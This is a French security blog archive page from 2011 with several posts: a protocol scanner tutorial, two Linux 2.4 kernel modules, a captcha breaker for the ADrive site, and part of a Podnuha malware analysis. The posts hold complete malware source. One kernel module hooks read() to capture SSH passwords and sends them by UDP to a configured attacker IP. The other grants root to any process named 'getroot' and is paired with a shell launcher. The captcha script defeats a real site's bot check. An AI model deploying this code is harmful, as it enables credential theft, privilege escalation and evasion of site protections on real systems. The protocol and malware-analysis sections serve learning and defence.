Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives 2011

ProtoScan

Rédigé par devloop - -

Introduction

ProtoScan est un logiciel en ligne de commande qui permet de déterminer quels sont les protocoles supportés par une machine distante. ProtoScan ne fonctionne que sous plateforme Linux et se base sur la librairie du C standard (glibc).

Partie Technique

Rappels sur le protocole IP


Le Protocole Internet (IP) permet à plusieurs machines de communiquer entre elles). Toutefois ce protocole ne permet pas d'échanger des données, il sert de support à des protocoles de plus haut niveau qui se chargent du transport des données.
Le système de support entre protocoles est le suivant : le logiciel que vous utilisez va générer des données dans un protocole spécifique. Dans l'exemple d'un navigateur de page web, ce dernier va générer du HTTP. Celui-ci est un protocole de haut niveau et ne peux pas transiter pur sur le réseau. L'ordinateur va donc rajouter l'entête du protocole servant de support (TCP) puis rajouteras ensuite l'entête du protocole servant de support au TCP, à savoir IP.

A l'opposé, le serveur dont vous désirez lire les pages web va devoir retirer les entêtes les un après les autres pour parvenir à ce qui l'intéresse, à savoir la requête HTTP générée par votre navigateur.

Seulement comment le serveur fait-il le tri parmi toutes les données qu'il reçoit ? Une fois qu'il a retiré l'entête IP, il est tout à fait possible que ce qui suit ne soit pas du TCP mais du UDP, du GGP ou un autre protocole...
En fait c'est l'entête IP qui indique quel est le protocole qui suit. L'entête IP possède en effet un champ 'protocol' qui identifie le protocole supérieur par un chiffre bien définit ; ainsi si ce champ a pour valeur 6 alors le serveur saura qu'il s'agit du protocole TCP.

Protoscan se base sur ce champ pour envoyer des données. Nous verrons tout à l'heure pourquoi.

Rappels sur le protocole ICMP


Le protocole IP n'est pas un protocole 'fiable' (voir Etude IP sur SupInfo). Il se fiche bien se savoir si les données arrive effectivement à destination et si elles arrivent en bonne état. Pour combler cette lacune le protocole ICMP (Internet Control Message Protocol) a été créé. Comme son nom l'indique il se charge d'informer des problèmes rencontrés par les paquets IP.
Bien que IP et ICMP soient des protocoles a part entière, ils sont indissociables l'un de l'autre. Un constructeur informatique ne peux pas implémenter l'IP sans ICMP et vice-versa.

Le protocole ICMP permet entre autres de savoir si la machine que l'on souhaite contacter est en marche (commande ping), ou de connaître les routeurs par lesquels passent nos données (commande traceroute). Quand on connait mieux le protocole ICMP on s'appercoit qu'il permet d'obtenir des informations intéressantes sur une machine, comme les ports UDP fermés, si la machine se situe derrière un firewall, ou encore si un protocole est supporté ou non par la machine en question.

C'est ce dernier cas qui nous intéresse.

Fonctionnement de ProtoScan

Le rôle de ProtoScan est de déterminer quels sont les protocoles supportés par une machine distante. Pour cela, il va délibéremment provoquer des erreurs qui lui permetront de recevoir les messages ICMP concernant les protocoles supportés.
ProtoScan va envoyer des paquets malformés. Ces paquets ne sont toutefois pas générés au hazard : il s'arrêtent à l'entête IP (aucun protocole ne se trouve après).

Pour observer le comportement d'une machine face à ces paquets malformés, nous allons faire des tests avec Hping, un logiciel qui permet de générer ses propres paquets (il faut être root).
# hping3 -c 1 --rawip --ipproto 6 127.0.0.1
HPING 127.0.0.1 (lo 127.0.0.1): raw IP mode set, 20 headers + 0 data bytes
[|tcp]
--- 127.0.0.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
D'abord quelques éclaircissement sur la ligne de commande :
-c 1 permet de n'envoyer le paquet qu'une seule fois
--rawip permet de générer soit même les entetes IP
--ipproto 6 fixe le champ 'protocol' de l'entête IP à 6. Cela correspond à TCP la ligne se termine bien évidemment avec l'adresse de la machine destinataire.

Dans cette exemple les statistiques nous montrent clairement que la machine qui a reçu notre paquet n'a pas généré d'erreur. Il faut dire aussi que le protocole TCP est un protocole supporté par presque toutes les machines réseaux.

Essayons maintenant avec un protocole moins connu, par exemple HMP (Host Monitoring Protocol) qui est désigné par la valeur 20.
# hping3 -c 1 --rawip --ipproto 20 127.0.0.1
HPING 127.0.0.1 (lo 127.0.0.1): raw IP mode set, 20 headers + 0 data bytes
ICMP Protocol Unreachable from ip=127.0.0.1 name=localhost
--- 127.0.0.1 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Cette fois, la machine nous a renvoyé un paquet. Il s'agit d'un paquet ICMP dont le libellé est 'Protocol Unreachable' qui nous informe clairement que le protocole que nous avons demandé (HMP) n'est pas supporté par la machine.

Pour connaître tous les protocoles supportés par une machine distante il suffirait donc de répéter la commande pour toutes les valeurs possibles du champ 'protocol' fixé par l'option ipproto de Hping.
Théoriquement cela fait 256 possibilités. En pratique il n'y a que 136 protocoles reconnus pour l'insant (Les protocoles et leur numéro sont définis dans le fichier /etc/protocols sur un système Linux).

ProtoScan se charge de tester toutes les possibilités et affiche les résultats dans un format compréhensible. Pour utiliser correctement Protoscan il suffit de passer l'adresse de la machine en argument :
# ./protoscan 127.0.0.1
        Launching scan...
Protocol icmp [1] supporte
Protocol igmp [2] supporte
Protocol ipv4 [4] supporte
Protocol tcp [6] supporte
Protocol udp [17] supporte
        Scan done!
Protoscan a été programmé en C et repose sur les librairies standard, par conséquence il ne nécessite pas l'installation d'un autre logiciel ou d'une librairie spéciale.

Compilation : gcc -o protoscan protoscan.c
Télécharger le code source protoscan.c

Linux kernel 2.4 module : spy ssh client

Rédigé par devloop - -

Toujours dans la catégorie "oldies" comme le code précédent, l'exemple suivant permet de récupérer un mot de passe saisi depuis le client ssh et de le transmettre par UDP vers une machine distante.
L'idée m'était venue en lançant un strace sur ssh et en remarquant que la lecture du pass se faisant caractère par caractère à l'aide de read() sur un périphérique tty.

Solution : hooker l'appel système read() et si le processus en cours s'appelle "ssh" mettre en application tout ça :
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */
#include <linux/types.h> /* ssize_t... */

/* j'ai pas fait le tri */
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/dcache.h>

#include <linux/net.h>
#include <linux/in.h>
#include <linux/socket.h>
#include <asm/uaccess.h>
#include <linux/fs.h>

#define HACKER_IP 0xc0a80103 /* put your ip address in hexa. ex: 192.168.1.3 => 0xc0a80103 */
#define SOURCE_PORT 1337
#define DEST_PORT 53

void **sys_call_table;
static int i=0;
char passwd[41];

asmlinkage ssize_t (*orig_read)(unsigned int fd, char *buf, size_t count);

int sendUDP(char *msg)
{
  struct msghdr udpmsg;
  mm_segment_t oldfs;
  struct iovec iov;
  struct sockaddr_in sin;
  struct sockaddr_in sout;
  struct socket *udpsock;
  int err;

  if(sock_create(PF_INET, SOCK_DGRAM, 0,&udpsock)<0)return -1;
  printk(KERN_INFO "sock created\n");

  memset(&sin,0,sizeof(sin));
  sin.sin_port=htons(SOURCE_PORT);
  sin.sin_family=AF_INET;
  sin.sin_addr.s_addr=htonl(INADDR_ANY);

  if(udpsock->ops->bind(udpsock,(struct sockaddr*)&sin,sizeof(struct sockaddr))<0)
  {
    sock_release(udpsock);
    printk(KERN_INFO "bind error\n");
    return -1;
  }
  printk(KERN_INFO "bind ok\n");

  iov.iov_base=(void*)msg;
  iov.iov_len=strlen(msg);

  memset(&sout,0,sizeof(sout));
  sout.sin_port=htons(DEST_PORT);
  sout.sin_family=AF_INET;
  sout.sin_addr.s_addr=htonl(HACKER_IP);

  memset(&udpmsg, 0, sizeof(struct msghdr));
  udpmsg.msg_name=&sout;
  udpmsg.msg_namelen=sizeof(sout);
  udpmsg.msg_iovlen=strlen(msg);
  udpmsg.msg_iov=&iov;
  udpmsg.msg_control=NULL;
  udpmsg.msg_controllen=0;
  udpmsg.msg_flags=MSG_DONTWAIT|MSG_NOSIGNAL;

  oldfs=get_fs();
  set_fs(KERNEL_DS);
  err=sock_sendmsg(udpsock,&udpmsg,strlen(msg));
  printk("err=%d\n",err);
  set_fs(oldfs);
  sock_release(udpsock);

  return 0;
}

asmlinkage ssize_t my_read(unsigned int fd, char *buf, size_t count)
{
  ssize_t ret;
  struct file *f;

  ret=orig_read(fd,buf,count);
  if(strlen(current->comm)==3)
  {
    if(strncmp(current->comm,"ssh",3)==0)
    {
      if(fd>2 && count==1)
      {
        f=fget(fd);
        if(f)
        {
          if(f->f_dentry)
          {
            if(strncmp(f->f_dentry->d_name.name,"tty",3)==0)
            {
              printk("%c",buf[0]);
              passwd[i]=buf[0];
              if(i>=40)
              {
                passwd[40]='\0';
                sendUDP(passwd);
                i=0;
              }
              else if(buf[0]=='\n')
              {
                passwd[i]='\0';
                sendUDP(passwd);
                i=0;
              }
              else i++;
            }
          }
        }
      }
    }
  }
  return ret;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_read=%d\n",__NR_read);
    printk(KERN_INFO "sys_call_table[__NR_read]=%p\n",sys_call_table[__NR_read]);
    orig_read=(asmlinkage ssize_t(*)(unsigned int,char *,size_t))(sys_call_table[__NR_read]);
    sys_call_table[__NR_read]=my_read;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_read]=orig_read;
  }
  printk(KERN_INFO "hook unloaded\n");
}


De mémoire c'était loin d'être stable (le système finissait par planter) donc à utiliser à vos risques et périls.
Pour les yeux uniquement comme disent certains.

Linux kernel module 2.4 : getroot

Rédigé par devloop - -

J'ai sur une clé usb plusieurs modules kernels que j'avais bidouillé à une époque (il y a plus d'un an) histoire de m'amuser un peu.
Les codes en question sont loin d'être des exemples de stabilité et ne compilent pas sous du 2.6... Faute de temps et de volonté je ne suis pas retourné depuis dans la programmation kernel bien que je ne refuse pas de lire un article sur le sujet quand il me tombe sous le nez.

En espérant qu'ils puissent encore servir à quelques-uns je les met en ligne.
Le module ci-dessous permet (une fois installé) d'obtenir les privilèges root. Il suffit de créer un programme nommé "getroot" qui fera un appel à "getuid()", du moins la version hookée et modifiée par nos soins :

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */

/* __NR_getuid faisait appel a sys_getuid16 (adresse dans System.map) : on se sert explicitement de __NR_getuid32 */
void **sys_call_table;

int (*orig_getuid)(void);
int my_getuid(void)
{
  printk(KERN_INFO "Appel a getuid()\n");
  if(strlen(current->comm)==7)
  {
    if(strncmp(current->comm,"getroot",7)==0)
    {
      printk(KERN_INFO "Giving root :)\n");
      current->euid=0;
      current->egid=0;
    }
  }
  return current->uid;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_getuid32=%d\n",__NR_getuid32);
    printk(KERN_INFO "sys_call_table[__NR_getuid32]=%p\n",sys_call_table[__NR_getuid32]);
    orig_getuid=(int(*)(void))(sys_call_table[__NR_getuid32]);
    sys_call_table[__NR_getuid32]=my_getuid;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_getuid32]=orig_getuid;
  }
  printk(KERN_INFO "hook unloaded\n");
}


Le Makefile ressemblait à ça :
obj-m += hook.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


et le programme userland était tout simplement :
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc,char *argv)
{
  char * param[] = {"/bin/sh", NULL};
  getuid();
  execve(param[0], param, NULL); //execve est déja un appel système
  return 0;
}

Cassage de captchas faibles

Rédigé par devloop - -

J'utilise depuis un moment le service en ligne de ADrive et je ne pouvais forcément que tiquer sur la page "You're not a robot, right?" qui apparait juste après la saisie des identifiants et demande de recopier un captcha numérique.

Déjà je me suis dit que coder une API ou un outil pour ce site ne serait pas une mauvaise idée (on verra éventuellement ça) mais aussi c'était une bonne occasion de se pencher sur la sécurité d'un système de captcha qui a première vue m'a semble plutôt faible.

Je ne m'étenderais pas sur ce qui fait le bon ou le mauvais captcha, le sujet a déjà été débatu ailleurs (surtout dans le Bouchonnois)
Je dirais seulement que globalement un bon captcha trompe les OCR et a un alphabet (nombre de caractères utilisés différents) conséquent.

Les captcha de ADrive sont assez limités car l'alphabet est limité à 9 caractères (nombres entiers de 1 à 9 inclus), le captcha étant long de 5 caractères.
Voici quelques exemples :

13125
25519
43588
55962
62136
77141
86154
91522

On remarque que le fond de chaque nombre lui est propre et ne change pas. Les caractères sont toujours disposés à la même hauteur... il s'agit uniquement d'un recolage.

Première idée qui me vient à l'esprit : on retire le cadre, on découpe en 5 images, on calcule des hashs MD5 sur chaque image extraite et on en déduit le nombre.
Avec ImageMagick, les opérations de découpage sont simples :
convert captcha.jpg -shave 2x2 out.jpg
convert out.jpg -crop 5x1@ montage_%d.jpg

Mais on s'apperçoit que cela ne fonctionne pas : pour deux nombres identiques on a un hash différent.
On étudie en détail les images et on remarque que la division en 5 n'a pas donné des images de taille égale.
Quelque chose cloche et il s'avère en réalité que l'espace pris par les différents caractères différe.

On sort un éditeur photo et on compte les pixels pour obtenir la largeurs de quelques nombres. Ensuite les largeurs des autres caractères peuvent être déterminées par des équations à plusieurs inconnues (merci le bac S :p)

Cette fois on va faire autrement mais toujours sans utiliser de technologie OCR : lire les pixels correspondant au premier caractère, déterminer duquel il s'agit en testant des points caractéristiques et procéder de même avec les suivants.

Pour cela j'utilise la Python Imaging Library.
La valeur de chaque pixel des captchas est représentée par 3 valeurs (R, V, B). Plus les valeurs sont faibles plus le pixel est sombre, plus elles sont élevées plus il est clair.

Je choisis de modifier l'image pour mettre à 0 les pixels sombres au delà d'un certain seuil (40) et mettre blanc (soit 255) les autres :
from PIL import Image

im = Image.open("62136.jpeg")
(xlen, ylen) = im.size

# Conversion noir OU blanc
for x in range(0, xlen):
  for y in range(0, ylen):
    couleur = im.getpixel((x, y))
    if all(z < 40 for z in couleur):
      im.putpixel((x, y), (0, 0, 0))
    else:
      im.putpixel((x, y), (255, 255, 255))

im.save("62136_wb.jpeg")

Le résultat ressemble à ceci (avant et après) :
62136
62136_wb

Il faut ensuite trouver des points caractéristiques pour chaque caractère. Par exemple le '2' comporte une suite horizontale de pixels noirs qu'aucun autre caractère ne possède.
On se charge de lire sur 17 pixels de largeur (largeur minimale d'un caractère), tester la présence de certains pixels puis avancer notre pointeur de la largeur du caractère trouvé.
Pour certains caractères (le '6' notamment) c'est plus compliqué car on rencontre pas mal de collisions (pixels communs à d'autres caractères) mais je suis finalement parvenu à écrire le programme suivant qui décode avec succès les captchas du site (testé toutefois seulement sur 33 captchas différents) :
# devloop 08/2010
# Adrive.com captcha breaker
from PIL import Image
import sys

if len(sys.argv) != 2:
  print "Usage: python captcha_break.py <file>"
  sys.exit()

largeurs = {1 : 19, 2 : 17, 3 : 18, 4 : 18,
    5 : 18, 6 : 18, 7 : 18, 8 : 21, 9 : 18}

im = Image.open(sys.argv[1])
(xlen, ylen) = im.size

# Conversion noir OU blanc
for x in range(0, xlen):
  for y in range(0, ylen):
    couleur = im.getpixel((x, y))
    if all(z < 40 for z in couleur):
      im.putpixel((x, y), (0, 0, 0))
    else:
      im.putpixel((x, y), (255, 255, 255))

captcha = ""

# On retire la bordure du captcha, on avance dans la largeur
xdecal = 2

# 5 nombres
for n in range(0,5):
  if all((0,0,0) == im.getpixel((xdecal + x, 29)) for x in range(4,15)):
    captcha += "2"
    xdecal += largeurs[2]

  elif im.getpixel((xdecal + 3, 16)) == (0, 0, 0):
    captcha += "4"
    xdecal += largeurs[4]

# fail (pixels provoquant des collisions) : (2, 21) (2, 22)
  elif im.getpixel((xdecal + 3, 17)) == (0, 0, 0):
    captcha += "8"
    xdecal += largeurs[8]

# fail : (4, 15) (15, 4) (8, 8) (13, 19) (13, 20)
# fail : (13, 21) (13, 23) (13, 24) (13, 25)
# fail : (3, 18) (3, 19) (3, 20) (3, 21)
  elif im.getpixel((xdecal + 3, 22)) == (0, 0, 0):
    captcha += "6"
    xdecal += largeurs[6]

  elif im.getpixel((xdecal + 3, 2)) == (0, 0, 0):
    captcha += "9"
    xdecal += largeurs[9]

  elif im.getpixel((xdecal + 3, 30)) == (0, 0, 0):
    captcha += "1"
    xdecal += largeurs[1]

  elif im.getpixel((xdecal + 14, 3)) == (0, 0, 0):
    captcha += "5"
    xdecal += largeurs[5]

# fail : (9, 16) (3, 18) (3, 19) (3, 20)
  elif im.getpixel((xdecal + 2, 25)) == (0, 0, 0):
    captcha += "3"
    xdecal += largeurs[3]

  elif im.getpixel((xdecal + 2, 12)) == (0, 0, 0):
    captcha += "7"
    xdecal += largeurs[7]

  else:
    # Nombre non trouve. Affiche l'image et donne le
    # tableau des pixels noirs.
    im.show()
    # affiche les caracteres deja trouves
    if len(captcha) > 0:
      print captcha
    for x in range(0, 17):
      for y in range(2, 31):
        if im.getpixel((xdecal + x, y)) == (0,0,0):
          print x, y
    break

if len(captcha) == 5:
  print captcha

Le code est aussi téléchargeable ici : captcha_break.py
Comme quoi si l'alphabet utilisé est limité on arrive à casser en peu de temps un captcha quelques soit les caractères ou les symboles présents.

Analyse du malware Podnuha.ql : quatrième partie

Rédigé par devloop - -

Suite (et fin) des épisode précédents...
Alors que le malware a récupéré des adresses de fonctions Windows dont il vient de décoder les noms, il entre dans une courte fonction que j'ai baptisé "time_and_beep" qui :
  • Prend une référence de temps avec GetTickCount
  • Attend 51 secondes en utilisant les fonctions d'événements comme on a pu déjà le voir
  • Prend une seconde référence de temps
  • Fait la soustraction de ces deux références

Si le résultat vaut 0 (ce qui est impossible à moins par exemple de hooker GetTickCount), le malware emet un Beep (quasi inaudible car d'une fréquence de 10 hertz sur 10 millisecondes) puis quitte.
Dans le cas contraire il rappelle GetTickCount, effectue des opérations dessus et stocke le résultat dans magic_int :

402151 ! GetTickCount_magic:             ;xref c4023d5
...... !   push        ebp
402152 !   mov         ebp, esp
402154 !   call        dword ptr [GetTickCount]
40215a !   and         eax, 17fffh
40215f !   shr         eax, 1
402161 !   add         eax, 523h
402166 !   mov         [magic_int], eax
40216b !   mov         eax, [magic_int]
402170 !   and         eax, 0ffffh
402175 !   mov         [magic_int], eax
40217a !   pop         ebp
40217b !   ret


Le rôle de cette fonction peut sembler étrange au premier coup d'oeil : on récupère un timestamp et on lui applique un masque le réduisant à une valeur de l'ordre de la minute (entre 1 et deux minutes).
En réalité, cette fonction agit comme un générateur de nombres pseudo-aléatoire (pour l'utilisation que l'auteur du malware en a, ça suffit amplement)

Il entre ensuite dans une fonction qui itére sur les noms de processus avec CreateToolhelp32Snapshot / Process32First / Process32Next. Il les passe en minuscule et les compare à "teatimer.exe". Si un exécutable de ce nom est en cours d'exécution il le termine avec la fonction Windows TerminateProcess.
Si on prend la calculatrice windows (calc.exe) et si on l'exécute après l'avoir renommée en teatimer.exe, on la voit effectivement se fermer lors de l'exécution du malware.

Décodage

On entre alors dans le vrai du malware avec la fonction que j'ai baptisé "decrypt_dll_and_load_it" qui effectue les opérations suivantes :
  • réserve de l'espace pour des chaines de caractères
  • appelle une autre fonction que j'ai nommé "decrypt_dll_file_content"
  • récupère le répertoire système de Windows avec GetSystemDirectoryA
  • décode les chaines de caractères "\???*.dll" et ".dll" selon la routine vue dans un précédent article
  • appelle une fonction "trouve_un_nom_de_fichier_dll"
  • détruit le fichier obtenu avec cette fonction avec DeleteFileA
  • lance une fonction "cree_un_fichier"
  • charge un fichier dll avec LoadLibraryA

Vous avez déjà une vision globale de l'objectif du malware. Etudions plus en détails le fonctionnement des fonctions précédemment citées.

decrypt_dll_file_content prend pour argument les même arguments que ceux que decrypt_dll_and_load_it a reçu, soit :
  • 408030h = une très longue chaine de caractères encodée située dans la section .data
  • 15A00h = ce qui s'avère être la longueur de cette mystérieuse chaine
  • 8220h = una variable servant comme vecteur d'initialisation pour déchiffrer la chaine de caractères.

Je n'entrerais pas dans les détails du code assembleur. Pour faire bref, on trouve une boucle qui traite octet par octet la chaine jusqu'à arriver à 15A00h.
L'opération de décodage se fait par un xor avec une variable qui subit différentes opérations mathématiques à chaque passage de la boucle (valeur initiale = 8220h)

J'ai préféré écrire un programme en C (plus simple à comprendre) qui reproduit le décryptage. Il prend comme argument un fichier avec les données codée et un nom de fichier ou écrire la version décodée :

#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int data_42009c, data_420098;

int main(int argc,char *argv[])
{
  unsigned int i, x = 0x8220, len = 0x15a00;
  int fd_in, fd_out;
  char *str;

  if(argc!=3)
  {
    printf("Usage: %s <input_file> <output_file>\n", argv[0]);
    return 1;
  }
  fd_in=open(argv[1],O_RDONLY);
  if(fd_in<0)
  {
    perror("open");
    return 1;
  }

  fd_out = open(argv[2], O_WRONLY|O_TRUNC|O_CREAT,S_IRUSR|S_IWUSR);
  if(fd_out<0)
  {
    perror("open");
    return 1;
  }

  str = (char*)malloc(len+1);
  read(fd_in, str, len);

  data_42009c = 0x1d;
  data_420098 = 0x7d02;
  data_420098 += 0x15;

  for(i=0;i<len;i++)
  {
    x *= data_420098;
    x += data_42009c;
    x = (char)(x & 0x000000ff);
    str[i] = str[i] ^ x;
  }
  write(fd_out, str, len);

  free(str);
  close(fd_out);
  close(fd_in);
  return 0;
}


Il ne reste plus qu'à extraire la chaine de l'exécutable. J'ai d'abord cherché un plugin OllyDgb mais je me suis dit que c'était aussi simple avec dd.
dd if=malware.exe of=plop bs=1 count=88576 skip=32816


Une fois le fichier décrypté, on obtient une dll de 87Ko (md5: 1154378d77d4dd1eb83d40a3a0b6982f) que AVG détecté comme "Trojan horse BackDoor.Generic9.AYAH".
Un petit passage dans HTEditor pour voir les sections et on remarque aussitôt que la dll est compressée avec UPX.
Une fois décompressé, le fichier fait 202Ko (md5: 70e2780a0ecce1ec7755397381bb5606) et est détecté (toujours par AVG) comme "Trojan horse Agent.XMD" (étrange qu'ils ne soient pas connus sous le même nom...)

Recherche d'un nom de fichier

Mais reprenons le cours du programme (car à ce moment de l'exécution le fichier n'a normalement pas encore touché le disque).
Le malware récupère le répertoire système (sous XP, c'est C:\WINDOWS\System32) et le passe comme argument à "trouve_un_nom_de_fichier_dll" avec les chaines de caractères décodées (.dll et \???*.dll) ainsi que différentes zones mémoire (buffer de sortie).

trouve_un_nom_de_fichier_dll effectue une recherche sur les fichiers correspondant au masque "c:\windows\system32\???*.dll".
Il génère aussi deux valeurs d'un octet avec des appels à calcul_sur_magic_int (voir articles précédents) dont la valeur initiale a été préalablement créée par le générateur pseudo-aléatoire.
Il itère ainsi sur tous les noms de fichier dll qu'il trouve dans le répertoire system32 et s'arrête uniquement lorsque le compteur de boucle modulo (reste d'une division) l'une de ces deux valeurs est nul.
Quand la condition est rencontrée, il récupère le début du nom du fichier dll en cours (les caractères avant le premier point) et calcule la longueur de chaine obtenue.

Il recopie cette chaine en mémoire avec lstrcpyn en prenant soin de retirer le dernier caractère puis rajoute finalement l'extension .dll.

Pour conclure, si trouve_un_nom_de_fichier_dll s'arrête sur kernel32.dll, le résultat obtenu sera kernel3.dll. Il vérifie tout de même que le fichier n'existe pas (pour ne pas faire de bétises) mais appellera quand même DeleteFileA en sortant de la fonction.

Fonctionnalité de dropper

La fonction suivante, cree_un_fichier, va générer un fichier temporaire avec GetTempPathA / GetTempFileNameA. Le chemin du fichier sera de la forme :
C:\Documents and Settings\<username>\Local Settings\Temp\datXXXX.tmp
Le fichier est mappé en mémoire avec CreateFileMappingA / MapViewOfFile et le contenu du fichier dll décrypté (actuellement en mémoire) est recopiée à l'aide de la fonction de recopie obfusquée vu dans un précédent article.
Le fichier écrit dans le fichier temporaire est finalement déplacé avec MoveFileA dans system32 sous le nom dll qui a été calculé.
Quand on sort de cette fonction pour retourner à decrypt_dll_and_load_it, le fichier dll est chargé en mémoire avec LoadLibraryA.

Il est intéressant de noter que cette fonction contient une portion de code alternative par laquelle on ne passe pas mais dont l'objectif semble être de créer un fichier exe et d'appeller CreateProcess.
Le dropper a donc été créé pour déposer aussi bien des dll que des exécutables bien que la présente version ne contient qu'un fichier dll (il n'y a pas d'autres chaines de grande taille dans la section .data).

Fin de l'exécution

Pour terminer, le malware commande sa propre suppression en appelant MoveFileEx avec le flag MOVEFILE_DELAY_UNTIL_REBOOT. Ainsi Windows supprime lui-même le fichier au redémarrage du système.

Il appelle ensuite une fonction qui retourne invariablement la valeur 5018 (présence de tests qui donneront toujours le même résultat !?) et dormira (encore) ce délais en millisecondes. En cumulant tous ces délais d'attente on se rapprocherait presque d'une minute d'exécution.

Le malware quitte alors, il a atteint son objectif : déposer un fichier dll et le charger pour l'exécuter.
Je n'ai pas encore commencé l'analyse du dll qui doit receler plein de surprises (je ne vous promets rien).

Conclusion

Bien que le malware ne fasse pas grand chose et ne contenait pas de techniques anti-analyse avancées (il n'était pas packé, utilisait peu de junk-code...) il était néanmoins intéressant d'analyser son fonctionnement (contenu dissimulé, réécriture de code pour appeller un code de détection de débogueur, kill de logiciel de sécurité...)

Ca m'a aussi permis de découvrir quelques astuces assembleur comme la suite neg / sbb / inc.

En gros :
neg reg
sbb reg,reg
inc reg

correspond à
(reg==0)?reg=1;reg=0

et
neg reg
sbb reg,reg
neg reg

correspond à
(reg==0)?reg=0;reg=1


Un petit dropper sympathique à analyser :)

Classé dans : Non classé - Mots clés : malware